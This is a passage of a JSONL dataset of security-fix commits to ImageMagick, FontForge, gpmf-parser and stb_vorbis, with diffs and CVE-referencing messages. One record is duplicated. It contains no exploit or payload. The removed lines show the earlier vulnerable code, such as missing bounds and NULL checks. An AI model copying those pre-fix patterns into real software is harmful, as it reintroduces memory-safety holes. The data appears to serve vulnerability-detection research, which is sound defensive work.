(SetImageStorageClass(threshold_image,DirectClass) == MagickFalse)\n {\n InheritException(exception,&threshold_image->exception);", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/fourier.c", "commit_id": "d5089971bd792311aaab5cb73460326d7ef7f32d", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/1597", "patch": "@@ -164,6 +164,9 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n MagickOffsetType\n progress;\n \n+ size_t\n+ number_channels;\n+\n ssize_t\n y;\n \n@@ -216,6 +219,10 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n }\n Cr_image=complex_images;\n Ci_image=complex_images->next;\n+ number_channels=MagickMin(MagickMin(MagickMin(\n+ Ar_image->number_channels,Ai_image->number_channels),MagickMin(\n+ Br_image->number_channels,Bi_image->number_channels)),MagickMin(\n+ Cr_image->number_channels,Ci_image->number_channels));\n Ar_view=AcquireVirtualCacheView(Ar_image,exception);\n Ai_view=AcquireVirtualCacheView(Ai_image,exception);\n Br_view=AcquireVirtualCacheView(Br_image,exception);\n@@ -263,7 +270,7 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n register ssize_t\n i;\n \n- for (i=0; i < (ssize_t) GetPixelChannels(Cr_image); i++)\n+ for (i=0; i < (ssize_t) number_channels; i++)\n {\n switch (op)\n {", "sections": [{"section": "@@ -164,6 +164,9 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n MagickOffsetType\n progress;\n \n+ size_t\n+ number_channels;\n+\n ssize_t\n y;\n \n", "related": false}, {"section": "@@ -216,6 +219,10 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n }\n Cr_image=complex_images;\n Ci_image=complex_images->next;\n+ number_channels=MagickMin(MagickMin(MagickMin(\n+ Ar_image->number_channels,Ai_image->number_channels),MagickMin(\n+ Br_image->number_channels,Bi_image->number_channels)),MagickMin(\n+ Cr_image->number_channels,Ci_image->number_channels));\n Ar_view=AcquireVirtualCacheView(Ar_image,exception);\n Ai_view=AcquireVirtualCacheView(Ai_image,exception);\n Br_view=AcquireVirtualCacheView(Br_image,exception);\n", "related": false}, {"section": "@@ -263,7 +270,7 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n register ssize_t\n i;\n \n- for (i=0; i < (ssize_t) GetPixelChannels(Cr_image); i++)\n+ for (i=0; i < (ssize_t) number_channels; i++)\n {\n switch (op)\n {", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/fourier.c", "commit_id": "61135001a625364e29bdce83832f043eebde7b5a", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/1595", "patch": "@@ -226,9 +226,9 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n progress=0;\n #if defined(MAGICKCORE_OPENMP_SUPPORT)\n #pragma omp parallel for schedule(static) shared(progress,status) \\\n- magick_number_threads(images,complex_images,images->rows,1L)\n+ magick_number_threads(Cr_image,complex_images,Cr_image->rows,1L)\n #endif\n- for (y=0; y < (ssize_t) images->rows; y++)\n+ for (y=0; y < (ssize_t) Cr_image->rows; y++)\n {\n register const Quantum\n *magick_restrict Ai,\n@@ -245,14 +245,10 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n \n if (status == MagickFalse)\n continue;\n- Ar=GetCacheViewVirtualPixels(Ar_view,0,y,\n- MagickMax(Ar_image->columns,Cr_image->columns),1,exception);\n- Ai=GetCacheViewVirtualPixels(Ai_view,0,y,\n- MagickMax(Ai_image->columns,Ci_image->columns),1,exception);\n- Br=GetCacheViewVirtualPixels(Br_view,0,y,\n- MagickMax(Br_image->columns,Cr_image->columns),1,exception);\n- Bi=GetCacheViewVirtualPixels(Bi_view,0,y,\n- MagickMax(Bi_image->columns,Ci_image->columns),1,exception);\n+ Ar=GetCacheViewVirtualPixels(Ar_view,0,y,Cr_image->columns,1,exception);\n+ Ai=GetCacheViewVirtualPixels(Ai_view,0,y,Cr_image->columns,1,exception);\n+ Br=GetCacheViewVirtualPixels(Br_view,0,y,Cr_image->columns,1,exception);\n+ Bi=GetCacheViewVirtualPixels(Bi_view,0,y,Cr_image->columns,1,exception);\n Cr=QueueCacheViewAuthenticPixels(Cr_view,0,y,Cr_image->columns,1,exception);\n Ci=QueueCacheViewAuthenticPixels(Ci_view,0,y,Ci_image->columns,1,exception);\n if ((Ar == (const Quantum *) NULL) || (Ai == (const Quantum *) NULL) || \n@@ -262,12 +258,12 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n status=MagickFalse;\n continue;\n }\n- for (x=0; x < (ssize_t) images->columns; x++)\n+ for (x=0; x < (ssize_t) Cr_image->columns; x++)\n {\n register ssize_t\n i;\n \n- for (i=0; i < (ssize_t) GetPixelChannels(images); i++)\n+ for (i=0; i < (ssize_t) GetPixelChannels(Cr_image); i++)\n {\n switch (op)\n {\n@@ -289,21 +285,21 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n double\n gamma;\n \n- gamma=PerceptibleReciprocal(Br[i]*Br[i]+Bi[i]*Bi[i]+snr);\n- Cr[i]=gamma*(Ar[i]*Br[i]+Ai[i]*Bi[i]);\n- Ci[i]=gamma*(Ai[i]*Br[i]-Ar[i]*Bi[i]);\n+ gamma=PerceptibleReciprocal((double) Br[i]*Br[i]+Bi[i]*Bi[i]+snr);\n+ Cr[i]=gamma*((double) Ar[i]*Br[i]+(double) Ai[i]*Bi[i]);\n+ Ci[i]=gamma*((double) Ai[i]*Br[i]-(double) Ar[i]*Bi[i]);\n break;\n }\n case MagnitudePhaseComplexOperator:\n {\n- Cr[i]=sqrt(Ar[i]*Ar[i]+Ai[i]*Ai[i]);\n- Ci[i]=atan2(Ai[i],Ar[i])/(2.0*MagickPI)+0.5;\n+ Cr[i]=sqrt((double) Ar[i]*Ar[i]+(double) Ai[i]*Ai[i]);\n+ Ci[i]=atan2((double) Ai[i],(double) Ar[i])/(2.0*MagickPI)+0.5;\n break;\n }\n case MultiplyComplexOperator:\n {\n- Cr[i]=QuantumScale*(Ar[i]*Br[i]-Ai[i]*Bi[i]);\n- Ci[i]=QuantumScale*(Ai[i]*Br[i]+Ar[i]*Bi[i]);\n+ Cr[i]=QuantumScale*((double) Ar[i]*Br[i]-(double) Ai[i]*Bi[i]);\n+ Ci[i]=QuantumScale*((double) Ai[i]*Br[i]+(double) Ar[i]*Bi[i]);\n break;\n }\n case RealImaginaryComplexOperator:", "sections": [{"section": "@@ -226,9 +226,9 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n progress=0;\n #if defined(MAGICKCORE_OPENMP_SUPPORT)\n #pragma omp parallel for schedule(static) shared(progress,status) \\\n- magick_number_threads(images,complex_images,images->rows,1L)\n+ magick_number_threads(Cr_image,complex_images,Cr_image->rows,1L)\n #endif\n- for (y=0; y < (ssize_t) images->rows; y++)\n+ for (y=0; y < (ssize_t) Cr_image->rows; y++)\n {\n register const Quantum\n *magick_restrict Ai,\n", "related": false}, {"section": "@@ -245,14 +245,10 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n \n if (status == MagickFalse)\n continue;\n- Ar=GetCacheViewVirtualPixels(Ar_view,0,y,\n- MagickMax(Ar_image->columns,Cr_image->columns),1,exception);\n- Ai=GetCacheViewVirtualPixels(Ai_view,0,y,\n- MagickMax(Ai_image->columns,Ci_image->columns),1,exception);\n- Br=GetCacheViewVirtualPixels(Br_view,0,y,\n- MagickMax(Br_image->columns,Cr_image->columns),1,exception);\n- Bi=GetCacheViewVirtualPixels(Bi_view,0,y,\n- MagickMax(Bi_image->columns,Ci_image->columns),1,exception);\n+ Ar=GetCacheViewVirtualPixels(Ar_view,0,y,Cr_image->columns,1,exception);\n+ Ai=GetCacheViewVirtualPixels(Ai_view,0,y,Cr_image->columns,1,exception);\n+ Br=GetCacheViewVirtualPixels(Br_view,0,y,Cr_image->columns,1,exception);\n+ Bi=GetCacheViewVirtualPixels(Bi_view,0,y,Cr_image->columns,1,exception);\n Cr=QueueCacheViewAuthenticPixels(Cr_view,0,y,Cr_image->columns,1,exception);\n Ci=QueueCacheViewAuthenticPixels(Ci_view,0,y,Ci_image->columns,1,exception);\n if ((Ar == (const Quantum *) NULL) || (Ai == (const Quantum *) NULL) || \n", "related": false}, {"section": "@@ -262,12 +258,12 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n status=MagickFalse;\n continue;\n }\n- for (x=0; x < (ssize_t) images->columns; x++)\n+ for (x=0; x < (ssize_t) Cr_image->columns; x++)\n {\n register ssize_t\n i;\n \n- for (i=0; i < (ssize_t) GetPixelChannels(images); i++)\n+ for (i=0; i < (ssize_t) GetPixelChannels(Cr_image); i++)\n {\n switch (op)\n {\n", "related": false}, {"section": "@@ -289,21 +285,21 @@ MagickExport Image *ComplexImages(const Image *images,const ComplexOperator op,\n double\n gamma;\n \n- gamma=PerceptibleReciprocal(Br[i]*Br[i]+Bi[i]*Bi[i]+snr);\n- Cr[i]=gamma*(Ar[i]*Br[i]+Ai[i]*Bi[i]);\n- Ci[i]=gamma*(Ai[i]*Br[i]-Ar[i]*Bi[i]);\n+ gamma=PerceptibleReciprocal((double) Br[i]*Br[i]+Bi[i]*Bi[i]+snr);\n+ Cr[i]=gamma*((double) Ar[i]*Br[i]+(double) Ai[i]*Bi[i]);\n+ Ci[i]=gamma*((double) Ai[i]*Br[i]-(double) Ar[i]*Bi[i]);\n break;\n }\n case MagnitudePhaseComplexOperator:\n {\n- Cr[i]=sqrt(Ar[i]*Ar[i]+Ai[i]*Ai[i]);\n- Ci[i]=atan2(Ai[i],Ar[i])/(2.0*MagickPI)+0.5;\n+ Cr[i]=sqrt((double) Ar[i]*Ar[i]+(double) Ai[i]*Ai[i]);\n+ Ci[i]=atan2((double) Ai[i],(double) Ar[i])/(2.0*MagickPI)+0.5;\n break;\n }\n case MultiplyComplexOperator:\n {\n- Cr[i]=QuantumScale*(Ar[i]*Br[i]-Ai[i]*Bi[i]);\n- Ci[i]=QuantumScale*(Ai[i]*Br[i]+Ar[i]*Bi[i]);\n+ Cr[i]=QuantumScale*((double) Ar[i]*Br[i]-(double) Ai[i]*Bi[i]);\n+ Ci[i]=QuantumScale*((double) Ai[i]*Br[i]+(double) Ar[i]*Bi[i]);\n break;\n }\n case RealImaginaryComplexOperator:", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickWand/mogrify.c", "commit_id": "4a334bbf5584de37c6f5a47c380a531c8c4b140a", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/1623", "patch": "@@ -7824,6 +7824,9 @@ WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,\n clut_image=RemoveFirstImageFromList(images);\n if (clut_image == (Image *) NULL)\n {\n+ (void) ThrowMagickException(exception,GetMagickModule(),\n+ OptionError,\"ImageSequenceRequired\",\"`%s'\",option);\n+ image=DestroyImage(image);\n status=MagickFalse;\n break;\n }\n@@ -7896,6 +7899,9 @@ WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,\n reconstruct_image=RemoveFirstImageFromList(images);\n if (reconstruct_image == (Image *) NULL)\n {\n+ (void) ThrowMagickException(exception,GetMagickModule(),\n+ OptionError,\"ImageSequenceRequired\",\"`%s'\",option);\n+ image=DestroyImage(image);\n status=MagickFalse;\n break;\n }\n@@ -7976,7 +7982,13 @@ WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,\n new_images=RemoveFirstImageFromList(images);\n source_image=RemoveFirstImageFromList(images);\n if (source_image == (Image *) NULL)\n- break; /* FUTURE - produce Exception, rather than silent fail */\n+ {\n+ (void) ThrowMagickException(exception,GetMagickModule(),\n+ OptionError,\"ImageSequenceRequired\",\"`%s'\",option);\n+ new_images=DestroyImage(new_images);\n+ status=MagickFalse;\n+ break;\n+ }\n \n /* FUTURE: this should not be here! - should be part of -geometry */\n if (source_image->geometry != (char *) NULL)\n@@ -8228,6 +8240,9 @@ WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,\n hald_image=RemoveFirstImageFromList(images);\n if (hald_image == (Image *) NULL)\n {\n+ (void) ThrowMagickException(exception,GetMagickModule(),\n+ OptionError,\"ImageSequenceRequired\",\"`%s'\",option);\n+ image=DestroyImage(image);\n status=MagickFalse;\n break;\n }\n@@ -8257,11 +8272,16 @@ WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,\n phase_image=RemoveFirstImageFromList(images);\n if (phase_image == (Image *) NULL)\n {\n+ (void) ThrowMagickException(exception,GetMagickModule(),\n+ OptionError,\"ImageSequenceRequired\",\"`%s'\",option);\n+ magnitude_image=DestroyImage(magnitude_image);\n status=MagickFalse;\n break;\n }\n fourier_image=InverseFourierTransformImage(magnitude_image,\n phase_image,*option == '-' ? MagickTrue : MagickFalse,exception);\n+ magnitude_image=DestroyImage(magnitude_image);\n+ phase_image=DestroyImage(phase_image);\n if (fourier_image == (Image *) NULL)\n break;\n if (*images != (Image *) NULL)", "sections": [{"section": "@@ -7824,6 +7824,9 @@ WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,\n clut_image=RemoveFirstImageFromList(images);\n if (clut_image == (Image *) NULL)\n {\n+ (void) ThrowMagickException(exception,GetMagickModule(),\n+ OptionError,\"ImageSequenceRequired\",\"`%s'\",option);\n+ image=DestroyImage(image);\n status=MagickFalse;\n break;\n }\n", "related": false}, {"section": "@@ -7896,6 +7899,9 @@ WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,\n reconstruct_image=RemoveFirstImageFromList(images);\n if (reconstruct_image == (Image *) NULL)\n {\n+ (void) ThrowMagickException(exception,GetMagickModule(),\n+ OptionError,\"ImageSequenceRequired\",\"`%s'\",option);\n+ image=DestroyImage(image);\n status=MagickFalse;\n break;\n }\n", "related": false}, {"section": "@@ -7976,7 +7982,13 @@ WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,\n new_images=RemoveFirstImageFromList(images);\n source_image=RemoveFirstImageFromList(images);\n if (source_image == (Image *) NULL)\n- break; /* FUTURE - produce Exception, rather than silent fail */\n+ {\n+ (void) ThrowMagickException(exception,GetMagickModule(),\n+ OptionError,\"ImageSequenceRequired\",\"`%s'\",option);\n+ new_images=DestroyImage(new_images);\n+ status=MagickFalse;\n+ break;\n+ }\n \n /* FUTURE: this should not be here! - should be part of -geometry */\n if (source_image->geometry != (char *) NULL)\n", "related": false}, {"section": "@@ -8228,6 +8240,9 @@ WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,\n hald_image=RemoveFirstImageFromList(images);\n if (hald_image == (Image *) NULL)\n {\n+ (void) ThrowMagickException(exception,GetMagickModule(),\n+ OptionError,\"ImageSequenceRequired\",\"`%s'\",option);\n+ image=DestroyImage(image);\n status=MagickFalse;\n break;\n }\n", "related": false}, {"section": "@@ -8257,11 +8272,16 @@ WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,\n phase_image=RemoveFirstImageFromList(images);\n if (phase_image == (Image *) NULL)\n {\n+ (void) ThrowMagickException(exception,GetMagickModule(),\n+ OptionError,\"ImageSequenceRequired\",\"`%s'\",option);\n+ magnitude_image=DestroyImage(magnitude_image);\n status=MagickFalse;\n break;\n }\n fourier_image=InverseFourierTransformImage(magnitude_image,\n phase_image,*option == '-' ? MagickTrue : MagickFalse,exception);\n+ magnitude_image=DestroyImage(magnitude_image);\n+ phase_image=DestroyImage(phase_image);\n if (fourier_image == (Image *) NULL)\n break;\n if (*images != (Image *) NULL)", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick6", "language": "C", "file_name": "coders/cut.c", "commit_id": "1e59b29e520d2beab73e8c78aacd5f1c0d76196d", "commit_message": "https://github.com/ImageMagick/ImageMagick/issues/1599", "patch": "@@ -568,6 +568,7 @@ static Image *ReadCUTImage(const ImageInfo *image_info,ExceptionInfo *exception)\n BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk,\n sizeof(*BImgBuff)); /*Ldblk was set in the check phase*/\n if(BImgBuff==NULL) goto NoMemory;\n+ (void) memset(BImgBuff,0,(size_t) ldblk*sizeof(*BImgBuff));\n \n offset=SeekBlob(image,6 /*sizeof(Header)*/,SEEK_SET);\n if (offset < 0)", "sections": [{"section": "@@ -568,6 +568,7 @@ static Image *ReadCUTImage(const ImageInfo *image_info,ExceptionInfo *exception)\n BImgBuff=(unsigned char *) AcquireQuantumMemory((size_t) ldblk,\n sizeof(*BImgBuff)); /*Ldblk was set in the check phase*/\n if(BImgBuff==NULL) goto NoMemory;\n+ (void) memset(BImgBuff,0,(size_t) ldblk*sizeof(*BImgBuff));\n \n offset=SeekBlob(image,6 /*sizeof(Header)*/,SEEK_SET);\n if (offset < 0)", "related": false}]} +{"owner": "fontforge", "repo": "fontforge", "language": "C", "file_name": "inc/gdraw.h", "commit_id": "626f751752875a0ddd74b9e217b6f4828713573c", "commit_message": " Warn users before discarding their unsaved scripts (#3852)\n\n* Warn users before discarding their unsaved scripts\r\n\r\nThis closes #3846.", "patch": "@@ -120,7 +120,7 @@ enum et_subtype { et_buttonpress, et_buttonactivate, et_radiochanged,\n \t\t et_listselected, et_listdoubleclick,\n \t\t et_scrollbarchange,\n \t\t et_textchanged, et_textfocuschanged,\n-\t\t et_lastsubtype };\n+\t\t et_save, et_lastsubtype };\n \n enum sb { et_sb_top, et_sb_uppage, et_sb_up, et_sb_left=et_sb_up,\n \t et_sb_down, et_sb_right=et_sb_down, et_sb_downpage,", "sections": [{"section": "@@ -120,7 +120,7 @@ enum et_subtype { et_buttonpress, et_buttonactivate, et_radiochanged,\n \t\t et_listselected, et_listdoubleclick,\n \t\t et_scrollbarchange,\n \t\t et_textchanged, et_textfocuschanged,\n-\t\t et_lastsubtype };\n+\t\t et_save, et_lastsubtype };\n \n enum sb { et_sb_top, et_sb_uppage, et_sb_up, et_sb_left=et_sb_up,\n \t et_sb_down, et_sb_right=et_sb_down, et_sb_downpage,", "related": false}]} +{"owner": "gopro", "repo": "gpmf-parser", "language": "C", "file_name": "demo/GPMF_demo.c", "commit_id": "341f12cd5b97ab419e53853ca00176457c9f1681", "commit_message": "fixed many security issues with the too crude mp4 reader", "patch": "@@ -46,6 +46,12 @@ int main(int argc, char *argv[])\n \t}\n \n \tsize_t mp4 = OpenMP4Source(argv[1], MOV_GPMF_TRAK_TYPE, MOV_GPMF_TRAK_SUBTYPE);\n+\tif (mp4 == 0)\n+\t{\n+\t\tprintf(\"error: %s is an invalid MP4/MOV\\n\", argv[1]);\n+\t\treturn -1;\n+\t}\n+\n //\tsize_t mp4 = OpenMP4SourceUDTA(argv[1]); //Search for GPMF payload with MP4's udta \n \n \tmetadatalength = GetDuration(mp4);\n@@ -90,7 +96,7 @@ int main(int argc, char *argv[])\n \t\tfor (index = 0; index < payloads; index++)\n \t\t{\n \t\t\tuint32_t payloadsize = GetPayloadSize(mp4, index);\n-\t\t\tfloat in = 0.0, out = 0.0; //times\n+\t\t\tdouble in = 0.0, out = 0.0; //times\n \t\t\tpayload = GetPayload(mp4, payload, index);\n \t\t\tif (payload == NULL)\n \t\t\t\tgoto cleanup;\n@@ -238,9 +244,10 @@ int main(int argc, char *argv[])\n \t\t{\n \t\t\tif (GPMF_OK == GPMF_SeekToSamples(ms)) //find the last FOURCC within the stream\n \t\t\t{\n+\t\t\t\tdouble in = 0.0, out = 0.0;\n \t\t\t\tuint32_t fourcc = GPMF_Key(ms);\n-\t\t\t\tdouble rate = GetGPMFSampleRate(mp4, fourcc, GPMF_SAMPLE_RATE_PRECISE);// GPMF_SAMPLE_RATE_FAST);\n-\t\t\t\tprintf(\"%c%c%c%c sampling rate = %f Hz\\n\", PRINTF_4CC(fourcc), rate);\n+\t\t\t\tdouble rate = GetGPMFSampleRate(mp4, fourcc, GPMF_SAMPLE_RATE_PRECISE, &in, &out);// GPMF_SAMPLE_RATE_FAST);\n+\t\t\t\tprintf(\"%c%c%c%c sampling rate = %f Hz (from %f to %f)\\n\", PRINTF_4CC(fourcc), rate, in, out);\n \t\t\t}\n \t\t}\n #endif", "sections": [{"section": "@@ -46,6 +46,12 @@ int main(int argc, char *argv[])\n \t}\n \n \tsize_t mp4 = OpenMP4Source(argv[1], MOV_GPMF_TRAK_TYPE, MOV_GPMF_TRAK_SUBTYPE);\n+\tif (mp4 == 0)\n+\t{\n+\t\tprintf(\"error: %s is an invalid MP4/MOV\\n\", argv[1]);\n+\t\treturn -1;\n+\t}\n+\n //\tsize_t mp4 = OpenMP4SourceUDTA(argv[1]); //Search for GPMF payload with MP4's udta \n \n \tmetadatalength = GetDuration(mp4);\n", "related": false}, {"section": "@@ -90,7 +96,7 @@ int main(int argc, char *argv[])\n \t\tfor (index = 0; index < payloads; index++)\n \t\t{\n \t\t\tuint32_t payloadsize = GetPayloadSize(mp4, index);\n-\t\t\tfloat in = 0.0, out = 0.0; //times\n+\t\t\tdouble in = 0.0, out = 0.0; //times\n \t\t\tpayload = GetPayload(mp4, payload, index);\n \t\t\tif (payload == NULL)\n \t\t\t\tgoto cleanup;\n", "related": false}, {"section": "@@ -238,9 +244,10 @@ int main(int argc, char *argv[])\n \t\t{\n \t\t\tif (GPMF_OK == GPMF_SeekToSamples(ms)) //find the last FOURCC within the stream\n \t\t\t{\n+\t\t\t\tdouble in = 0.0, out = 0.0;\n \t\t\t\tuint32_t fourcc = GPMF_Key(ms);\n-\t\t\t\tdouble rate = GetGPMFSampleRate(mp4, fourcc, GPMF_SAMPLE_RATE_PRECISE);// GPMF_SAMPLE_RATE_FAST);\n-\t\t\t\tprintf(\"%c%c%c%c sampling rate = %f Hz\\n\", PRINTF_4CC(fourcc), rate);\n+\t\t\t\tdouble rate = GetGPMFSampleRate(mp4, fourcc, GPMF_SAMPLE_RATE_PRECISE, &in, &out);// GPMF_SAMPLE_RATE_FAST);\n+\t\t\t\tprintf(\"%c%c%c%c sampling rate = %f Hz (from %f to %f)\\n\", PRINTF_4CC(fourcc), rate, in, out);\n \t\t\t}\n \t\t}\n #endif", "related": false}]} +{"owner": "gopro", "repo": "gpmf-parser", "language": "C", "file_name": "demo/GPMF_demo.c", "commit_id": "341f12cd5b97ab419e53853ca00176457c9f1681", "commit_message": "fixed many security issues with the too crude mp4 reader", "patch": "@@ -46,6 +46,12 @@ int main(int argc, char *argv[])\n \t}\n \n \tsize_t mp4 = OpenMP4Source(argv[1], MOV_GPMF_TRAK_TYPE, MOV_GPMF_TRAK_SUBTYPE);\n+\tif (mp4 == 0)\n+\t{\n+\t\tprintf(\"error: %s is an invalid MP4/MOV\\n\", argv[1]);\n+\t\treturn -1;\n+\t}\n+\n //\tsize_t mp4 = OpenMP4SourceUDTA(argv[1]); //Search for GPMF payload with MP4's udta \n \n \tmetadatalength = GetDuration(mp4);\n@@ -90,7 +96,7 @@ int main(int argc, char *argv[])\n \t\tfor (index = 0; index < payloads; index++)\n \t\t{\n \t\t\tuint32_t payloadsize = GetPayloadSize(mp4, index);\n-\t\t\tfloat in = 0.0, out = 0.0; //times\n+\t\t\tdouble in = 0.0, out = 0.0; //times\n \t\t\tpayload = GetPayload(mp4, payload, index);\n \t\t\tif (payload == NULL)\n \t\t\t\tgoto cleanup;\n@@ -238,9 +244,10 @@ int main(int argc, char *argv[])\n \t\t{\n \t\t\tif (GPMF_OK == GPMF_SeekToSamples(ms)) //find the last FOURCC within the stream\n \t\t\t{\n+\t\t\t\tdouble in = 0.0, out = 0.0;\n \t\t\t\tuint32_t fourcc = GPMF_Key(ms);\n-\t\t\t\tdouble rate = GetGPMFSampleRate(mp4, fourcc, GPMF_SAMPLE_RATE_PRECISE);// GPMF_SAMPLE_RATE_FAST);\n-\t\t\t\tprintf(\"%c%c%c%c sampling rate = %f Hz\\n\", PRINTF_4CC(fourcc), rate);\n+\t\t\t\tdouble rate = GetGPMFSampleRate(mp4, fourcc, GPMF_SAMPLE_RATE_PRECISE, &in, &out);// GPMF_SAMPLE_RATE_FAST);\n+\t\t\t\tprintf(\"%c%c%c%c sampling rate = %f Hz (from %f to %f)\\n\", PRINTF_4CC(fourcc), rate, in, out);\n \t\t\t}\n \t\t}\n #endif", "sections": [{"section": "@@ -46,6 +46,12 @@ int main(int argc, char *argv[])\n \t}\n \n \tsize_t mp4 = OpenMP4Source(argv[1], MOV_GPMF_TRAK_TYPE, MOV_GPMF_TRAK_SUBTYPE);\n+\tif (mp4 == 0)\n+\t{\n+\t\tprintf(\"error: %s is an invalid MP4/MOV\\n\", argv[1]);\n+\t\treturn -1;\n+\t}\n+\n //\tsize_t mp4 = OpenMP4SourceUDTA(argv[1]); //Search for GPMF payload with MP4's udta \n \n \tmetadatalength = GetDuration(mp4);\n", "related": false}, {"section": "@@ -90,7 +96,7 @@ int main(int argc, char *argv[])\n \t\tfor (index = 0; index < payloads; index++)\n \t\t{\n \t\t\tuint32_t payloadsize = GetPayloadSize(mp4, index);\n-\t\t\tfloat in = 0.0, out = 0.0; //times\n+\t\t\tdouble in = 0.0, out = 0.0; //times\n \t\t\tpayload = GetPayload(mp4, payload, index);\n \t\t\tif (payload == NULL)\n \t\t\t\tgoto cleanup;\n", "related": false}, {"section": "@@ -238,9 +244,10 @@ int main(int argc, char *argv[])\n \t\t{\n \t\t\tif (GPMF_OK == GPMF_SeekToSamples(ms)) //find the last FOURCC within the stream\n \t\t\t{\n+\t\t\t\tdouble in = 0.0, out = 0.0;\n \t\t\t\tuint32_t fourcc = GPMF_Key(ms);\n-\t\t\t\tdouble rate = GetGPMFSampleRate(mp4, fourcc, GPMF_SAMPLE_RATE_PRECISE);// GPMF_SAMPLE_RATE_FAST);\n-\t\t\t\tprintf(\"%c%c%c%c sampling rate = %f Hz\\n\", PRINTF_4CC(fourcc), rate);\n+\t\t\t\tdouble rate = GetGPMFSampleRate(mp4, fourcc, GPMF_SAMPLE_RATE_PRECISE, &in, &out);// GPMF_SAMPLE_RATE_FAST);\n+\t\t\t\tprintf(\"%c%c%c%c sampling rate = %f Hz (from %f to %f)\\n\", PRINTF_4CC(fourcc), rate, in, out);\n \t\t\t}\n \t\t}\n #endif", "related": false}]} +{"owner": "nothings", "repo": "stb", "language": "C", "file_name": "stb_vorbis.c", "commit_id": "98fdfc6df88b1e34a736d5e126e6c8139c8de1a6", "commit_message": "Fix seven bugs discovered and fixed by ForAllSecure:\n\nCVE-2019-13217: heap buffer overflow in start_decoder()\nCVE-2019-13218: stack buffer overflow in compute_codewords()\nCVE-2019-13219: uninitialized memory in vorbis_decode_packet_rest()\nCVE-2019-13220: out-of-range read in draw_line()\nCVE-2019-13221: issue with large 1D codebooks in lookup1_values()\nCVE-2019-13222: unchecked NULL returned by get_window()\nCVE-2019-13223: division by zero in predict_point()", "patch": "@@ -33,6 +33,7 @@\n // Timur Gagiev\n //\n // Partial history:\n+// 1.17 - 2019-07-08 - fix CVE-2019-13217..CVE-2019-13223 (by ForAllSecure)\n // 1.16 - 2019-03-04 - fix warnings\n // 1.15 - 2019-02-07 - explicit failure if Ogg Skeleton data is found\n // 1.14 - 2018-02-11 - delete bogus dealloca usage\n@@ -1202,8 +1203,10 @@ static int lookup1_values(int entries, int dim)\n int r = (int) floor(exp((float) log((float) entries) / dim));\n if ((int) floor(pow((float) r+1, dim)) <= entries) // (int) cast for MinGW warning;\n ++r; // floor() to avoid _ftol() when non-CRT\n- assert(pow((float) r+1, dim) > entries);\n- assert((int) floor(pow((float) r, dim)) <= entries); // (int),floor() as above\n+ if (pow((float) r+1, dim) <= entries)\n+ return -1;\n+ if ((int) floor(pow((float) r, dim)) > entries)\n+ return -1;\n return r;\n }\n \n@@ -2013,15 +2016,15 @@ static __forceinline void draw_line(float *output, int x0, int y0, int x1, int y\n ady -= abs(base) * adx;\n if (x1 > n) x1 = n;\n if (x < x1) {\n- LINE_OP(output[x], inverse_db_table[y]);\n+ LINE_OP(output[x], inverse_db_table[y&255]);\n for (++x; x < x1; ++x) {\n err += ady;\n if (err >= adx) {\n err -= adx;\n y += sy;\n } else\n y += base;\n- LINE_OP(output[x], inverse_db_table[y]);\n+ LINE_OP(output[x], inverse_db_table[y&255]);\n }\n }\n }\n@@ -3048,7 +3051,6 @@ static float *get_window(vorb *f, int len)\n len <<= 1;\n if (len == f->blocksize_0) return f->window[0];\n if (len == f->blocksize_1) return f->window[1];\n- assert(0);\n return NULL;\n }\n \n@@ -3454,6 +3456,7 @@ static int vorbis_finish_frame(stb_vorbis *f, int len, int left, int right)\n if (f->previous_length) {\n int i,j, n = f->previous_length;\n float *w = get_window(f, n);\n+ if (w == NULL) return 0;\n for (i=0; i < f->channels; ++i) {\n for (j=0; j < n; ++j)\n f->channel_buffers[i][left+j] =\n@@ -3695,6 +3698,7 @@ static int start_decoder(vorb *f)\n while (current_entry < c->entries) {\n int limit = c->entries - current_entry;\n int n = get_bits(f, ilog(limit));\n+ if (current_length >= 32) return error(f, VORBIS_invalid_setup);\n if (current_entry + n > (int) c->entries) { return error(f, VORBIS_invalid_setup); }\n memset(lengths + current_entry, current_length, n);\n current_entry += n;\n@@ -3798,7 +3802,9 @@ static int start_decoder(vorb *f)\n c->value_bits = get_bits(f, 4)+1;\n c->sequence_p = get_bits(f,1);\n if (c->lookup_type == 1) {\n- c->lookup_values = lookup1_values(c->entries, c->dimensions);\n+ int values = lookup1_values(c->entries, c->dimensions);\n+ if (values < 0) return error(f, VORBIS_invalid_setup);\n+ c->lookup_values = (uint32) values;\n } else {\n c->lookup_values = c->entries * c->dimensions;\n }\n@@ -3934,6 +3940,9 @@ static int start_decoder(vorb *f)\n p[j].id = j;\n }\n qsort(p, g->values, sizeof(p[0]), point_compare);\n+ for (j=0; j < g->values-1; ++j)\n+ if 